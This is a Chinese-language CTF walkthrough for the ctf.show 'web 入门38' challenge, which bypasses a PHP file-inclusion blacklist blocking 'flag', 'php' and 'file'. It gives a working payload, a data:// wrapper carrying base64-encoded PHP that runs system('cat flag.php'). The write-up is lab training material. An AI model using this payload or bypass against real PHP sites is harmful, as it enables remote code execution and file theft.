ctf show web 入门38

打开靶场这道题目是之前那道题的进阶版。核心考点依然是 PHP 本地文件包含(LFI),但过滤规则显著增强了。

  1. 源码审计(核心变化)
    对比之前的题目,这次的正则表达式发生了变化:
    if(!preg_match("/flag|php|file/i", $c))
    新增黑名单:除了 flag,现在还过滤了 php 和 file。
    影响:
    你不能直接输入 flag.php(含有 flag 和 php)。
    你不能使用 php://filter(含有 php)。
    你不能使用 php://input(含有 php)。
  2. 解题思路:寻找"漏网之鱼"
    既然 php 和 file 被封杀了,我们需要寻找不需要这两个关键字的伪协议。
    所以我们可以继续使用 data:// 协议
    检查 data:// 协议本身:它不包含 php 或 file 关键字
    所以可以继续使用 Base64 编码来隐藏你的命令。
    代码:<?php system('cat flag.php');?>
    Base64 编码:PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
    最终 Payload:?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
    发现页面没有回显是=说明代码执行成功我们产看源代码得到flag
相关推荐
-SOLO-27 分钟前
开发笔记-摸鱼输入法
笔记
疯狂打码的少年3 小时前
【计算机网络】TCP/IP协议族(四层体系结构,与OSI对比)
网络·笔记·tcp/ip·计算机网络
xqqxqxxq4 小时前
AI Agent学习:Agent协作工具技术笔记(李博杰《深入理解 AI Agent》4.6观后总结)
笔记·学习
彧azz5 小时前
数据结构:关于图的学习
c语言·数据结构·笔记·学习·算法
自小吃多6 小时前
高云 FPGA 添加时序约束笔记
笔记·fpga开发
彧azz6 小时前
二叉搜索树学习记录
c语言·数据结构·笔记·算法
蒸蒸yyyyzwd7 小时前
机试和Redis学习笔记
c++·笔记·面试
果壳science8 小时前
《自然本源》如何实现狭义相对论的代数化
笔记·算法·几何学
1314lay_10078 小时前
C#调用Sql Server存储过程,并且使用传入表结构
数据库·经验分享·笔记·sqlserver·c#
志尊宝9 小时前
Vue3 零基础每日笔记(015):条件渲染 v-if 与 v-show——控制 DOM 生死还是控制显隐
前端·vue.js·笔记